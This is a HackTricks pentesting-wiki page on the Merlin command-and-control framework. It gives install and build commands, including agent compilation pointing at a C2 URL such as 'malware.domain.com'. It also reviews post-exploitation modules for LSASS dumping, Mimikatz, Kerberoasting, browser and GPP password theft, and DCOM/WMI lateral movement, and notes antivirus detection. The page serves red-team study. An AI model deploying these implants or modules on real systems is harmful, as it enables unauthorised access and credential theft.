hacktricks/backdoors/merlin.md

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# Installation

## Install GO

```
#Download GO package from: https://golang.org/dl/
#Decompress the packe using:
tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz

#Change /etc/profile
Add ":/usr/local/go/bin" to PATH
Add "export GOPATH=$HOME/go"
Add "export GOBIN=$GOPATH/bin"

source /etc/profile
```

## Install Merlin

```
go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
cd $GOPATH/src/github.com/Ne0nd0g/merlin/
```

# Launch Merlin Server

```
go run cmd/merlinserver/main.go -i
```

# Merlin Agents

You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases)

## Compile Agents

Go to the main folder _$GOPATH/src/github.com/Ne0nd0g/merlin/_

```
#User URL param to set the listener URL
make #Server and Agents of all
make windows #Server and Agents for Windows
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
```

## **Manual compile agents**

```
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
```

# Modules

**The bad news is that every module used by Merlin is downloaded from the source (Github) and saved on disk before using it. Be careful about when using well-known modules because Windows Defender will catch you!**


**SafetyKatz** --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file\
**SharpDump** --> minidump for the process ID specified (LSASS by default) (Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file)\
**SharpRoast** --> Kerberoast (doesn't work)\
**SeatBelt** --> Local Security Tests in CS (does not work) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
**Compiler-CSharp** --> Compile using csc.exe /unsafe\
**Sharp-Up** -->Allchecks in C# in powerup (works)\
**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool (doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
**Invoke-InternalMonologue** --> Impersonates all available users and retrieves a challenge-response for each (NTLM hash for each user) (bad url)\
**Invoke-PowerThIEf** --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process (doesnt work) (and the PS looks like doesnt work either) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
**LaZagneForensic** --> Get browser passwords (works but dont prints the output directory)\
**dumpCredStore** --> Win32 Credential Manager API (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
**Get-InjectedThread** --> Detect classic injection in running processes (Classic Injection (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (doesnt works)\
**Get-OSTokenInformation** --> Get Token Info of the running processes and threads (User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
**Invoke-DCOM** --> Execute a command (inother computer) via DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
**Invoke-DCOMPowerPointPivot** --> Execute a command in othe PC abusing PowerPoint COM objects (ADDin)\
**Invoke-ExcelMacroPivot** --> Execute a command in othe PC abusing DCOM in Excel\
**Find-ComputersWithRemoteAccessPolicies** --> (not working) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\
**Grouper** --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. (deprecated) Take a look at Grouper2, looks really nice\
**Invoke-WMILM** --> WMI to move laterally\
**Get-GPPPassword** --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords (insidedomain)\
**Invoke-Mimikatz** --> Use mimikatz (default dump creds)\
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
**Find-BadPrivilege** --> Check the privileges of users in computers\
**Find-PotentiallyCrackableAccounts** --> Retrieve information about user accounts associated with SPN (Kerberoasting)\
**psgetsystem** --> getsystem

**Didn't check persistence modules**

# Resume

I really like the feeling and the potential of the tool.\
I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts.


<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

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